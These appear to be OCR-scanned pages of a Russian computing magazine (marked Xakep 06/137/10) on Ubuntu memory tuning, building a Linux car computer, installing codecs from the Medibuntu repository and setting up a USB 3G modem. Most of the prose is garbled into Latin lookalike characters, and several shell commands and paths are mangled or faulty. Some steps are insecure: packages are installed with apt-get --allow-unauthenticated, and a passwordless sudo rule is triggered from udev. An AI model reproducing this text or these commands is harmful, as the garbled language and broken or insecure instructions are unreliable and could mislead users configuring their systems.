B coepeveunux onepauaoaaux CV1CTeMax ucnoneayerca nousrue «nonKal1Ka crpa-mu». BcnoMHV1M, 4TO 3TO nuouecc, KOTOPbl(1 npVl HeX8aTKe 03Y BbITeCH~eT Helllcnonb3yeMbie crpa-u-uu naM~TVl B otinac u., Ha3blBaeMYIO pa3p,enoM nop,Ka4KV1. Korp,a crpa-uu.a CHOBa HY>KHa, ee sarpyxator 06paTHO B 03Y. nOCKO.nbKY caon 06VlTaeT Ha >KeCTKOM AVlCKe, KOTOPblVr s paau Mep,neHHee onepaTVlBK!t1, aKTIIIBHoe nepeueuie+u+e CTpaHV1Ll, TYAaocna-otipan-o 3aMeA.n~eT pa60TY KOMnbfOTepa B uencu. BbIBOp,? HY>KHO, 4T06bl B KOMnbfOTepe 6bl.n0 AOCTaT04HO 03Y p,n>1 TBOV1X 3ap,a4. BblBOg 6aHaneH, HO 3TO TaK.

B no aepuie uae HeMHoro Vl3MeHIIIM no s e ne nn e Ubuntu B OTHOWeH!t1V1 V1cnonb30BaHIII~ 03Y 111 06J1aCTItI nop,Ka4KIII. ECTb T3KOVr napaue rp vm.swappiness, no YMon4aH\I1lO OH IIIMeeT 3Ha4eHV1e 60 III cnY>KItIT Ans:! rcrc. 4T06bl onpenenar s npoue-rr cBo6oAHOiir n3M51TIII, npu KOTO-

POM Ha4HeTCs:r aKTVlBHbltl1 c6poc CTpaHV1Ll, B paane n swap. \!1HbIMIII cnOBaMIII, npll1 naM~TIII, 3aH~ToVr Ha 40% [100-601. Ubuntu Y>Ke Ha4Her IIICnOJlb30BaTb ofinacr s nOp,KaYKV1. npV1 60nbWOM KonV14eCTBe 03Y 8 KOMnbfOTepe ny-uue CHIII3VlTb 3Ha4eHV1e napawe rp a vm.swappiness no 10, TeM caMblM na a nVlHrB~1HY YKa3aHVle He ucnor s s oaa r s swap, noxa 3aH51TbIVr 06beM onepaH1BI<V1 He p,OCTVlrHeT 90% (100-1 OJ. ,lJ,J1$1

ra cor o Vl3MeHeHVl51 npow,e acero aanycrurs TepMVlHa.n Vl B HeM CKOMaH,IJ,OSaTb:

$ sudo sh -c "vrn.swappiness = 10" »/etc/sysctl.conf

noc.ne nepeaarpyaxa urycrpas oneparwaxa 6Y,D,eT 60nee 3¢cpeKTIIIBHO !I1Cnonb30BaTbC51, a Me,lJ,neHHblVr swap - pexe 3aAeVrcTBoBaTbc51.

3AKll104EHHE

Tbl nonxet- nOHVlMaTb, 4TO Hacrpo~KVl acerna no onpeneneu-no «o-rcepaaTV1BHbl, V1 paapabor-u-« OC/nporpaMMbl cTpeMVlTC>1, 4T06bl OHIII paticrana

Ha 60nbwoM cnekrpe CV1CTeM. n03TOMYTfOHVlHrOnepaLl,VlOHKVI- 3TO He Ha>KaTllle Op,HO~ KHonKV1 C H3,D,nV1CbfO «Cnenars see 6bICTPO». nOH\I1Ma>1, 4TO onucauo B COBeTe, III aHanVl3VlpYR, 4eM it1MeHHO p,OCTV1raeTCs:r YCKOpeHVle, Tbl aecypan.o npIl1Mf2HI1CWlo I<OM2III,ll,bl V1 BHII1M3TenbHO cnennun. 33 nOBeAeHVleM CV1CTeMbl. Haneiocs, YTO COBeTbl re6e nparonnnncs, V1 TBO(1 nll1HrBVlH cran bonee 0T3bIB4\118bIM. I

~ 08S

•• £\eHVlC KO_rH1CfII-t~eHKO dhsilabsfCmail.ru

nMHrBMH

B 6apAaliKe

C06MpaeM nonHou.eHHblM aBTOM06MnbHbiM KOMnblOTep c linux Ha 60PTY

MeYTa Ka>K,1J.OrO aBTOM06V1flVlCTa -3TO B03MO>KHOCTb npOCMOTpa CPVlflbMOB, nO,1J.KflfOYeHVle K VlHTepHeTY V1 HaBV1raL\V17i B aBTOM06V1fle. MO)KHO ucnons- 30B~Tb CneL\V1aflbHble YCTPOVI CTBa -GPS-HaBV1iaTOpbl, xoropue yaCTVlYHO BblnOflH7ifOT He06xo,1J.V1Mble CPYHKL\V1V1, HO BCe paBHO ,1J.flS=! «nOflHOL\eHHOCTV1» He XBaTaeT xopouiero BV1,1J.eOnpOVlipbIBaTefls=!, nOCfle,1J.HVlX l<O,1J.eKOB VI npV1BbIYHOIO opayscpa.

AJlH lfErO_HY>KEH ABTOMO- 5~JlbHbl~ KOMnbIOTEP?

nepBblM ,o,enOM onpe,o,emtJM CPYHKLJ,VH-1 aBTOMD- 6111JlbHOro KOMnbKJTepa, OT 3TOro Syner 3aBVIceTb aubop xeneaa. B 60nbWVlHCTBe cny-raes OT carpc rpebyercs:

• BOCnp0lt13Bep,eHlt1e aYAlt10- lt1 Blt1,Qeo¢ai1noB;

• GPS-HaBlt1raUJ1H;

• KaMepa aarn+erc Blt1p,a;

• Ilocryn B lt1HTepHeT.

Cpa3Y X04Y 3aMeTl!ITb: ecrut Te6e Hy>KHbl TOJlbKO nepsue ,o,Be CPYHKWVlI!1, npow,e Kym1Tb CaMbltl1 06b14- Hbl~ GPS-HaBl:1rarOp, KOTDPbl~ nponaercs Bnfo60M aBTOM06V1JlbHOM Mara3V1He VI CTOVIT B palilOHe

$100 .. 300.8 Ka>KAOM nOAo6HoM AeBaiiee y:+<e ecrs o6e 3TI:1 ¢YHKWVlVI. TaKVlM o6pa30M Tbl C3KOHOMVlWb VI ,o,eHbrVl, VI BpeMs:i. Hekoropsre yCTpo~CTBa nOCTa8mHOTC~ naxe C KaMepo~ sanuero BVI,o,a, refie OCTaHeTC51 nVlWb nOAKnI04V1Tb ee, cne)J,y~ VlHCTPYKLJ,Vl51M. V13IOMV1HKa aBTOM06V1JlbHOrO KOMnblOTepa -3TO)J,OCTyn B l!IHTepHeT. 04eHbYAo6HO B nYTVI npcaep.rn, CBO~ nOYTOBblJl1 51W,l!IK V1Jll!l Hatl1TI!1 B Google a,o,pec 6JlI!1>Ka~weVi 3anpaBKVI TO VI cerv, rae

~ 086

Tbl npVlBbIK3anpaBmHbC$1. KOHe4HO, Bce3TO Hy>KHO rienars BO BpeMI=l OCTaHOBKl!I aBTOM06V1Jl~, a He xorna ynpaSJlS1eWb V1M -,IJ,YMalO, 3TO nOHS1THO. KOMnbIOTepTaK>Ke MO>KHO lIICnOJlb30SaTb KaK Cl!ICTeMY SlIIp,eo/aygVlopeiVlCTpaLJ,ltJVI, TO eCTb 3am1CVI nOCJle,IJ,HlIIX 10-20 Ml!IHyT (ryT ace 3aBVlCl!lTOT pa3Mepa .>KeCTKOIO ,o,I1CKa),o,0p0>KHOVI o6cTaHoBKl!I. TaKaH SVI,o,e03anViCb nOMO>KeT ,I:\OKa3aTb CBOIO npaaory lIIHCneKTopy nne V1J1111 cyase. npaBga, gnl1 peaJllll- 3awVlVl Tal(OVI CJt1CTeMbl nOHago6V1Tc51 YCTaHOBVlTb HeCKO.flbKO BVI,ll,eOKaMep. Carpc MO>KHO IIICnOJlb30- aars V1 gnl1,I:\lIIarHOCTVlKVI aBTOM06l!1nl1. TYT pewaVi caM: CneLJ,VlaJlbHblYl anarrrep, IIICnOJlb3yeMblVi ,I:\Jl~ nogKJIlOyeH11111 K,I:\lIIarHOCTl!I'-IeCKOMY pa3beMY, 1II cneunansi-oe nporpasu-nroe o6eCneyeHVle 6ygeT CTOVlTb,I:\OpO>Ke acero aBTOM06V1nbHoro KDMnblOTepa. Ec.flV1 caM 3aHVlMaeWbCs:! peMOHTDM csoero aSTO, TO, 04eBl-'1,lJ,HO, OHO Tom CTOVIT. B npOTI!lBHOM cny-iae ny'-lwe OTKa3aTbC$1 OT3TOVI sare.r.

Bbl50P >KEJlE3A

no 60nbWOMY c-rery Hy>KHO npuauars. 4TO see ¢YHKLJ,VIVI carp:: BbInO.flHV1T06bIYHbIVi HOYT6YK,

KOTOPblVi MO.>KHO 6pOCVlTb Ha 3a;1J,Hee CIIl,IJ,eHlIIe VI Vlcnonb30BaTb no Mepe He06xo,ll,VlMOCTl!I. Te6e nOHa,I:\06VlTCH lllllWb 3ap7l,IJ,HOe YCTPOVlCTBO, n03BOJlQIOw,ee «npOKOpMIIITb}) HOyT OT «npukypnSaTeJlI1». B KpaVlHeM cny-iae. eCJlVl TaKOVI 3apH,o,KIIl ,o,Jl51 TBoeVi MO,QeJlVl nanrona He HaWJlOCb, acerna MO)l(HO kyrurn. npeofipaaoaarer-s Hanps:!>KeHl!IH [wr-ueptup], KOTOPblV! npeofipaaver nocrosauoe HanpSi>KeHVle 60PTOBOVi ceTVI aBTOM06V1J11=l

+ 12 B B nepeMeHHoe HanpS1>KeHVle 220 B . .o.eweE,o VI cepnnro: Mbl ror sxo 4TO C03,I:\anVi npocTewwVlw aSTOM0611lJlbHblVi KOMnblOTep. YTaKolO pe.ueuns eCTbO,I:\HO ueocnopauoe npeVlMyw,eCTBo -em 04eHb nerko ,I:\eMOHTl!IpOBaTb, HanpVlMep, npu napkoexe MaWV1Hbl B HeHa,lJ,e>KHOM MeCTe VlnVl npn ee nponaxe: HO He,I:\OCTaTKOB ropasr,o bonsure:

• np\r13anycl<eABV1raTen$1 lkorna KpyTVlTGl cTapTeplsepoFiTHa KpaTKOBpeMeHHal1 norepn Hanp}:l>KeHVls:! (HanplllMep, y MeHq B MaWV1He nOp,KJlI04eHHble K npV1Kyplt1BaTenlO YCTpoVicTBa OTKJlKJyafOTCS1-3TO nenaerca. 4To6bl3apl1ga aKKyMyJlHTOpa XBaTVlJlO Ha nycK.IJ,BV1iaTeJlI4I, B peaynsrare KOMnblOTep nepeaarpya-rrcs.

XAKEP 06 /137/10

IiIHBepTDp 12 8-220 8

• Ecm-1 Tbl3a6YAeWb OTKnI04V1Tb KOMnbJOTep, V1 DH 6YPreT paboran, Ha He3asegeHHoill M3W!I1He, TO 8 peaynsrare 6yp,eT «CO>KpaH» aKKyMymnop, l:1 B en e,lJ,yfOUJ,1II iii pas ,lJ,BVlraTeJlb Y>Ke He 33SeAeTC'H.

• VlHBepTOp rpeoyer npl!IHY,lJ,V1TenbHoro OXJla>K,lJ,eHVl)i, a 3TO ew,e OAVlH seHH1mnop [aropoti byner B 5.nOKe mnaHVlS1 KOMnbKnepal, B VITO re nony-iaev p,OnOJlHVlTeJlbHbIWlI1CTO'-lHI!1K uiyua.

• KaKH" xpyra, a 220 B -3TO onacuo

BMecro u-rsepropa Hy>KHO I!1CnOJlb30SaTbaBTOM06VlJlbHblill5noK mnaHVl'H [A5nl. npeVlMyw,ecTB Y Hero Macca: OTCYTCTBVle novex. HVlKaKVlX nepebces C nl:naHVleM [KpynlJ craprepou, CKonbKO HaAG -KOMnbfOTep He nepesarPY3VlTCS1), a TaK>Ke HaIlV14!11e V1HTenneKTa [npVl ,lJ,onrOSpeMeHHOM nap,eHVlVl Hanp">KeH"" A5n BbIKnKJ4"T KOMnbKJTep " npenorepstnr paspsn-y aKKyMyn"TOpai. Ho n 3TO He see. C A5n MO>KHO gOCTaT04HO npOCTO pean"30BaTb BKJlfOyeHVle KOMnblOTepa npV1 3anYCKe aBTOM06V1m'l,,lJ,a V1 HV1KaKVlX 220 B.

06 ABTOPE

Ileuuc KOnVlCHVlyeHKO -1:1H>KeHep-npOrpaMM1:1CT VI CVlCTeMHbli71 a,lJ,M1:1H1:1CTpaTOp. I!1 MeeT 60raTbliii onsrr C03,lJ,aHVl51 1:1 3 KCnJ1yaTaL1,1:11:1 flOKaJlbHblX ceTei71 OT ,lJ,OMaWH1:1X,[I,O ypOBH51 npe,[l,npVl51TVl51 Ha 6a3e onepaLl,1:10HHoi71 CVlCTeMbl Linux. \1SJ151erC)'I aSTopOM 60f1bWOro KOf1V1yeCTBa craTew Vl60flee 40 KHVli KOMnbKnepHoiii VI aBTOM06V1J1bHOiii TeMan'lKVI

B HeA3f1eKOM npOWJ10M- npe3V1,[1,eHTMeCTHoro Kfly6a BMW lanpec npoek'ta - www.bmwclub.org.ual

XAKEP 06 /137/ 10

Kopnvc cj?opM-cj?aKToga Mini-ITX

He,LJ,OCTaTKOB y A6n ,LJ,Ba: CTOWT OH ,LJ,opO>Ke, V1 ero He KynV1wb ua 06blYHOM pa,IJ,V10pbIHKe -HY>KHO 33Ka3b1B3Tb. KCTaTVI, 0 L1,eHe: 3a TaKOiii YMHblrll6nOK nV1TaHW)'I npV1p,eTC)'I BblnO>KV1Tb OT $1 00

Tenepb npVlcrynV1M K Bbl60py cauoro >KeJ1e3a. CV1CTeMHV1K 6yp,eM CTPOVlTb

i-a fiase Mini-ITX'Hoii MaTep"HCKOii nnaTbi [Mini-ITX -¢opM-¢aKTOpl1n" caepxkoi-maeruux MaTepV1HCKVlX nnar. pa3pa6oTaHHbliii KOMnaHV1eiii VIA Technologies]. Taxve MaTepV1HKI:1 COBMeCTI:1Mbl C ATX, HO cyw,eCTBeHHO MeHbwe no pa3Mepy-170x170 MM. 80 CKonbKO 06oiigeTC" TaKGe YI10BOnbCTB"e? HaMHOCO neuresne. 4eM Tbl nOI1YMan - B npegenax $80-120. Kopnyc, s 3a8"C1:1MOCTVI OTero BHeWHero BVI,lJ,a VI MOW,HOCTV16nOKa nltnaHV1)'1, CTOVlTOT$38. Kopo6 Hy>KHO Bbl6V1paTb He 60nee KpaCVlBblrll, a T3Koiii, KOTOPblW VI,lJ,eanbHO nOMeCTV1TC)'I B nf1aHV1pyeMoe MeCTO YCTaHOBKVI. Ky,IJ,a VlMeHHO YCTaHaBm1BaTb KOMnbIDTep, 3aSV1CVlT or raoero aBTOM061!1J1)'1. BOT HeCKOJlbKO nplt1MepOB:

• nOA nepeAHII1M BOAI--neJlbCIH-1M II1m1 naCCa>Klt1pCKI!1M 01AeHII1eM -npe-

VI Myw,eCTBO aroro pacnOnO>KeHI!1S1 8 npOCTOM nocryr.e K KHonKaM nI.-1TaHVlI=!, c6poca VI USB-nopTaM. BnOJlHe B03MO>KHO, YTO p,a>Ke He npVlp,eTCs:r BbiBOAf1Tb USB-nopTbl Ha naHeJ1b MaWV1H:>1 VI TeM caMblM ee ypO,LJ,OSaTb.

• nOA3aAHI-1M CIt1AeHlt1eM -sapVlaHT He OLJeHb XOpOwV1~, TaK KaK 6Y,lJ,eT 3aTpY,LJ,HeH nocryn K KOMnbfOTepy (3a,LJ,Hee CV1,.o,eHV1e 06blLJHO He OLJeHb npOCTO CHVlM3eTCI=!l.

• B 6ara>KHlt1l<e -Haw Mini-ITX'HbIW xopnyc He3awMeTTaM MHOro MeCTa. Ho y 3TOro cnccofia ecrs ,LJ,Ba He,.o,ocTaTl<a: norpebyerca 60JlbWaS1 ,LJ,JlV1Ha Ka6eJll=! [,.o,flS1 MOHVlTopa k1 ,.D,J1S1 nVlTaHvH=J, ecnVl AK6 He s 6ara>KHV1Ke. a nOA kanoror-r]. a TaK>Ke npV1,lJ,eTcs:r pasobpan, nOJlOBVlHY canons. YT06bl nporioxnn, VlHTepKoHHeKTbl [p,J151 MOHVlTopa, 3sYKa, nlt1TaHlt1jll. V1 ew,e Hy>KHO YYVlTblBaTb TOT ¢aKT,

~ 087

~ links

• ru.wikipedia org/wikl/Ubuntu N@QQk_B_e_mix - wH¢OpMa~"" 0 Ubuntu Netbook Remix

• \Nww.~bunll)_._c;_o_rnL 9S'_tubu ntu/dcwn loadnelbook - CKa'-laTb Ubuntu Netbook Remix

• ~rru - ¢OPYM, nOCBI=lw,eHHbli:1 aBTOMo6111flbHbiM KOMnblO-

repav

~ 088

Bl.1,Ll,CBoei1 naHeJlli\. Cornacacs, KII1TaC1cKlIIliI MOHlt1K3a 100 baxcoa 6yp,eT KpalilHe ueneno cMoTpeTbul [p,a ew,e 111 Ha BII1AY. KplllBO «sKonXO>KeHHbltl1»] B AOPOroM aaro. A TaK MOHII1TOP 6YAeT cnp~naH OT nocTOpOHHII1X rnas (111 OT rnas sapos TO>Ke). Korp,a Hy>KHO - Tbl era BblABIIIHeWb, xorna He Hy>KHO -cnps:!4eWb. MO>KHO KaK BCTPOlllTb MOHJ;tTOP 8 T801l1 K03blpeK, TaK 111 Kynll1Tb xosspe« C Y>Ke ecrpoe+n+su« MOHlIITOPOM_ OCTaeTC~ TOJlbKO nepecrasurs O,D,VlH Ha APYroVl. He,Ll,OCTaTKOB Y 3TOrO peWeHlIIl1

npaKTlIIyeCKlII HeT, pa3Be YTO npunerca neoersayrs KynneHHblV1

'-lTD 3V1M0tl1 B 6ara.>KHlIIKe reuneparypa HI-1>Ke, 4eM B canoue, XOTs:J «oaupe« B lI,BeT noror ka. Ho 3TO Y>Ke MenOLJI-1 -nepeTs:J>KKa

o TeMneparype III KOMnblOTepe Mbl norcaopuu OT)J,enbHO. CTOIllT KonelllKlIl [3HalO Ha co6eTBeHHOM onurel. Kosupex C Y>Ke

Mbl Bbl6panl-1 MaTepV1HCKYfO nnary, kopnyc V1 peWV1nV1, Kyp,a BCTpoeHHblM MOHV1TOPOM 060~)J,eTCs:J oxono $300. 06bl4Hbilit

5YI1eM YCTaHaBn"BaTb KOMnbIOTep. C npouecccpov. B"l1eOKap- MOH"TOP $1 00-150.

TO~, 3BYKOBYXO~ V1 ceTeBblM KOHTponnepoM 3aMOpa41t1BaTbCs:! He HY>KHO: KaMeHb Y>Ke ycraacaneu. ocransaste KOMnOHeHTbl f.1HTerpl-1pOBaHbl B nnary. 1 16 oneparaeka snonue XBaT!-1T, 3TO naxe C 3anaCOM. A BOT >KeCTKII1r::i )J,II1CK 3acnY>KV1BaeT OT)J,eJ1bHOro pasroacpa. Crapse BlI1H4eCTepbl [ecnv Tbl B)J,pyr peWf.1J1 C3KOHOMV1Tb III KynV1Tb 6/y) s:!BHQ He nO)J,XO)J,>H ,.o,J1s:J Hawew 3aTeV1. BeeM 1-13BeCTHO, 4TO)J,opOrf.1 B POCCV1V1 VI CTpaHax nOCTCOBeTCxoro npOCTpaHCTBa p,aneKV1 aT V1,.o,eana, n03TOMY nOCTOs:JHHaq rpscka 6blCTPO ybser CTapeHbKII1~ xapn, A BOT .nf060~ C08- peMeHHbliii HOYT6Y4Hbliii .D,V1CK HaM anom-e nonoiincr. npt.1 >KellaHV1f.1 MO>KHO !t1Cn0J1b30BaTb!l1 HOBblilt 3.5", HO OH kpynuee V1 nOTpe611s:JeT6oJ1bWe 3Heprl-1V1. KaK3aKpemlTb HOD B kopnyce? HW1era «KonX03V1Tb» He Hy>KHO - .D,OCTaT04HO >KeCTKO npuxpyTVlTb ero K xopnycy -repes pe31t1HOBbie npoCTaBKV1.

Bbl60P MOHHTOPA H ErO PA3ME~EHHE

HaYHeM C pa3Mew,eHV1fl, nOCKonbKY OT aroro 3aBV1CV1TTV1n MOHV1- ropa. BOT HeCKOJ1bKO aapuaaroa:

• Ha nepeAHei1 naHeJH.1 lcaepxy) -Sa>KHO, l ... no6bl MOHV1K He aa«pusan 0530P, n03ToMY eCllV1 Tbl peunin nOMeCTVlTb era csepxy TO 4eM MeHbwe pa3Mep)J,V1arOHaJlVl, TeM ny-nue. He,o,OCTaTOK raxoro peWeH!I1s:J: MOHV1TOP 5YAeT3aMeTeH CHapY>KII1, I ... no npuBneLJeT BHVlMaHlI1e BOPOB,

• Ha nepeAHeiil naHe.nV1 (BcrpoeHHbliil) - MOHV1TOP MO>KHO BCTPOl-1Tb B nepen-uoio nauens. nO)f(anyiii, HaV160nee orrruuansHbliii aaouaur, ecna noasonaer KOHCTpyKL...(l-1~ caMoiii naHeJ1V1. Ii1HorAa npVlAeTC~ MeHqTb naaens. a 3TO nonomurrem-aue sarparu. nepegYCTaHOBKoiii MOHV1Ka Hy>KHO B3BeCl-1Tb ace «sa» l-1 «npOTV1B».

• Ha nOTo.nOK -Bce xopouio, HO rorna 3KpaH [eCJ1V1 ero pasMeCTVlTb no ue-rrpy, KaK 06bl4HO V1 AellatOT]6yp,eT Bl-1)J,eH ror sxo 3a,.o,HV1M naCCa>KV1paM. EcnV1 BVlp,eo VI VlHTepHeT npe,o,Ha3HaLJeHbi TOllbKO p,nrl HVlX, TO 3TO onTV1ManbHOe peWeHl-1e. AecJ1V1 >Ke)J,nfl ce6q nf06V1Moro, TO caM nOHV1Ma8Wb ... XOTs:J ny4we He COBMeurate ynpaeneuwe MaWV1HO~ V1 KOBblpS1HV1e B KOMne - 5yp,eT 06V1.D,HO pa36[.1Tb MaWVlHY, oraexaa Ha coofiuieru-e B aCbKe

• B co.nHlI,e3aLl.\Ii1THbliii «oaupe« - OTnVl4Hbl~ Bap[.1aHT, nOAOIltncr. ecnu Tbl H8 xo-reu.s HapywaTb nepB03,[1aHHbliii [3asogcKOVl)

KOMnbKlTEP H TEMnEPATYPA

ABTOM06\11nb -3TO He KBapTV1pa, rer-mepa rypa nOCTOS1HHoiii, oc06eHHO OCeHblO VI 3I11MOVl, He 6blBaeT. Ilonycrn». Ha ynuue _25°, MaWV1Ha CTOV1T Ha CTOs:JHKe; Tbl npnxoru-un., a KOMn He BKnlO"aeTC". HeMYl1peHO. B"HT3aMep3. ):ia," ecnn xapn «nonYCTVlT», «pucrannu Ha TFT TO>Ke 3aMep3HYT. BbiBop, +noka canon nonHOCTblO He nporper, carpe BKJlf04aTb He CTOl-1T.

A BOT .neTOM ... TeMneparypoiii +30° HV1Koro He YAVlBVlWb. npoueccopy 6yp,eT>KapKO. Cnacer XOPOW[.111t BeHTVlnS1TOp VI, KOHeLJHO xe. KOHp,V1LJ,VlOHep S MaWV1He. npaBlI1nO TO xe: ecru- ru OCTaB[.1n CBO~ «4epHbliii 6YMep» Ha COJlHu,e B HeBbIHOCV1MYIO xapy, TO KOMnblOTep ny-uue He BKll104aTb)J,0 nOHV1>K8Hlllfl TeMneparypbl B canoue. KCTaTVI, 0 KOHp,It1u,l-10Hepe -ecnV1 He xoueuis nOAXBaTIIITb aocnaneune nerxax, TO onTV1ManbHa>=l paauuua C BHeWHeiii TeMneparypoa p,On>KHa COCTaBnqTb He 60nee 6°, a 3TO 3Ha4V1T, ecnu Ha yruiue +30°, TO B canose ,ll.On>KHO 6blTb He HIII>Ke +24°.

Bbl60P H HACTPOlilKA COCl>TA

VlTaK, Hap,eIOCb, Tbl Y>Ke onpe)J,eJ1V1J1C>=I C Bbl60pOM V1 paaveuieH VleM xeneaa. OCTaJ10Cb rcru.ro YCTaHoBVlTb coer. nOTOMY 4TO 6e3 cocjna >K8n830 TaK V1 OCTaHeTC>=I >Kene30M. MO>KHO nOWT!t1 no nYTVl HaV1MeHbwero conpoTVlBlleHII1s:J !t1 YCTaHOBII1Tb Windows 7 + IGO-B. B 60nbWlt1HCTBe CJ1Y4aes sruro 6YP,8T AOCTaT04HO gns:J peanV13all,Vl!l1 OCHOSHblX cPYHKLI,!I1iii 60pTosoro KOMnblOTepa.

A 4TO xe H8c4eTcBobo)J,Horo j 10 l-1 l.inux? Haw carpc p,OJ1>KeH nerars. n03ToMY B KaLJeCTBe AVlcTpVl6yn1Ba P8KOM8HAYlO V1cnonb30BaTb Ubuntu - npocrou [.1 B TO >Ke speMS16bICTPblrll. KpOMe Taro, ec'te cneunansuaa sepCIIIS1 Ubuntu - Ubuntu Netbook Remix - OHa OnTl'1ManbHO nononncr Anq HawV1x u,eneill, BeAb 3KpaHL.[V1K y Hawero KOMnblOTepa COBceM He60nbwort. A Netbook Remix KaK pa3 OnTl-1Ml-13V1pOSaH no,o,p,Vlcnnelll He6onbwV1x pasuepos. MO>KHO \t1Cn0J1b30S8Tb cneuuansuue C60PK" Ha 6a3e Netbook Remix, uanpnuep, OT InfraLinux. nocne YCTaHoBK~ Linux He 3a6yP,b HaCTpOVlTb aBTOMaTII1YeCKVlV1 BXO.£\: CV1CTeMa ~ AAMVlHVlCTpll1pOBaHVle ~ OKHO axona

8 CV1CTeMY, V1Ha4e npVl 3anYCKe CVlCTeMbl npVlgeTCs:J BBO.D,VlTb

r aporrs nonsaoaarena.

nep8blM ,n.enOM Hy>KHO YCTaHOBII1Tb KO)J,eKVI Vl cnenars 803-

XAKEP 06 /137/10

MO>KHbIM BOCnpOv13Be.o.eH~1e cpVlnbMOB VI MY3bIKVI. KaK 06b14HO, B WT3THO~ nOCT3BKe Ubuntu KO,D,eKOB HeT, n03TOMY nO,D,Knf04V1M peno Medibuntu,D,.n~ YCT3HOBKVI scero Heo6xo,D,I1MOro. OTKPO~ TepMVlHan VI Ha6epVl KOMaH)J,bl:

$ sudo wget --output-document=/etc/apt/sources .list. d/ medibuntu.list http://www.medibuntu.org!sources. list.d/$(lsb_release -cs) .list

$ s udo apt-get --quiet update

$ s udo apt-get --yes --quiet --allow-unauthenticated install medibuntu-keyring

$ sudo apt-get --quiet update

[locne 3TOI0 BBe)J,1!1 KOMaHAy,o,nS1 YCTaHoBKVl KO,D,eKOB

$ sudo apt-get install w32codecs

Teneps ~HCTannV1pyeM MPlaye, VI 060nOYKy,o,nS1 Hem'

$ sudo apt-get install mplayer non-free-codecs libdvdcss2 smplayer

naKeTbl «nocepe.o.VlHe» - 3TO ,o,ononHVlTenbH ble Ko.o.eKVI VI 6J..16nVlOTeKa OVOCSS2, n03BonS1lOw,aS14V1TaTbnVlLJ,eH3J..10HHble DVD-,o,VlcKVI.

Teneps npucryruu« K Be6-KaMepe. Linux xopowo nO,lJ,,o,ep>KVlBaeTTaKV1e ra,ll)KeTbl, Hy>KHO ronsxo subpan, nporpauuy ,o,nS1 pafioru. 3.o.ecb )J,ecjJV1 LJ,l!l'ra TO>Ke HeT. BOT HenonHbl~ nepe4eHb nporpaMM p,n51 pafio ru C KaMepoi1: cheese [caMa" r pccrasl. webcam [He acerna nOYeMY-To pafioraerl. carnorarr.a. camstream u np. BbI6VlpaG1TY, KOTopaS160nbwe scero HpaBV1TCs:I refie.

CneAYlOll1~ii war - pacxoverapnn, USB-MoAeM OAHaKo npouenypa HaCTpO~Klt1 6Y.o.eT pa3HO~ He ronsxo ,ll,ns:l pasuux oneparopo s. HO VI ,o,ml pasuux MO,ll,eMOB. YT06bl HaCTpOV1Tb coep,V1HeHVle -repes NetworkManager [y MeH~ MTC-KoHHeKTl. npuuinocs HeMHOro nOKOBblpS1TbC~. 3a6eral1 snepen CKa>KY, 4TO see onV1caHHoe HV1>Ke MO>KHO 6bl.n0 peannaoaars ropasno xpacaBee - 4epe3 nporpavuy usb_modeswitch, HO <;J nowen no ,ll,pyroMY nyru. OH npcsepeu Vl paboraer. n03ToMY era V1 oriauiy B cran,e. KO,)J,a Tbl nO,ll,KnlOL.JaeWb Mo,o,eM K cv creue. OH CHa4ana or.penenaercs KaK 06blL.JHa<;J cpnewl(a. Hano 3aiiTw Ha Heco ~ cxcrutpcaar-, OA~H cpaCin B /usr/loeal/bin:

$ sudo cp Irnedia/CNU-680/Linux/RDEVCHG lusrllocal/bin

nocne aroro orkpsrn, /ete/sudoers:

$ sudo gedit /ete/sudoers

XAKEP 06 /137/ 10

%admin ALL=NOPASSWD: !usr/local/bin/RDEVCHG

3TWM Mbl paspeuraeu 3anYCK nporpaMMbl RDEVCHG 6e3 sanpoca napons nocne 3Toro Hy>KHO 06ecne4V1Tb, 4T06bl Mo.o.eM cnpenenancsca« MOAeM, a He KaK cpnewKa. An" aroro OTKpoii cpaiin /ete/udev/rules.d/70-persistent-ed. rules. HaiiA~ cpparMeHTTeKCTa:

ENV(ID_CDROMj=="?*", ENV(ID_SERIALj=="CMOTECH_ r1ass_Storage_000000000002-0: 0", SYMLINK+= 11 cdroml" I ENV(GENERATEDj="l" ENV{ID_CDROM}=="?*", ENV{ID_ SERIAL}=="CMOTECH_Mass_Storage_000000000002-0:0", SYMLINK+="dvdl" , ENV{GENERATEDj="l"

l!l3aMeHVl em ua:

ENV(ID_CDROM}=="?*", ENV(ID_SERIAL}=="CMOTECH_ Mass_Storage_000000000002-0: 0", SYMLINK+=" cdrornl" , ENV{GENERATED}="l" RUN+="/usr/bin/sudo /usr/ local/bin/RDEVCHG" ENV{ID_CDROM}=="?*", ENV{ID_ SERIAL}=="CMOTECH_Mass_Storage_000000000002-0:0", SYMLINK+="dvdl", ENV{GENERATEDj="l" RUN+="/usr/binl suda /usr/local/bin/RDEVCHG"

Teneps B NetworkManager npaBV1M «ABToMaTV1yecKoe coenuueune COMA». Bce napaverpu OCTaBn.<;JeM no YMon4aHV1IO, KpoMe VlMeHV1 nom.soaarens [rntsl V1 napons (internet]. no aHanOIV1V1 C Bl!lH,IJ.Otil MO>KHO nepesanycTVlTb CV1CTeMY -TaK, ua BC<;JKV1G1 cnY4a(;1. noc.ne 3Toro ece ,o,on>KHO aapaborars KaK nOnO>KeHO.

An" MOAeMOB Any DATA ADU-500A [TO>Ke AOBonbHO pacnpocrpaae-u-r] MO)KHO Vlcnonb30BaTb nporpavvy MTS Connect [mtsconnect.sQurceforge.netJ. YTO KaCaeTCs:I GPS: Linux nonnepxneaer GPS-npV1eMHV1KV1, HO ny-uue Vlcnonb30BaTb BHeWHV1e, a He scrpoet-uue B YCTpOIIICTBa, Ha3blBaeMbie aBToMo6VlnbHb1MV1 GPS-HaBV1laTOpaMItl. Ec.nV1 yTe6S1 eCTbaSTOMo6V1nbHbltll GPS-HaBV1laTOp, HeT HV1KaKI!1X ,apaHTVlIII, 4TO Tbl 3aCTaBVlWb era pafiorars non Linux.

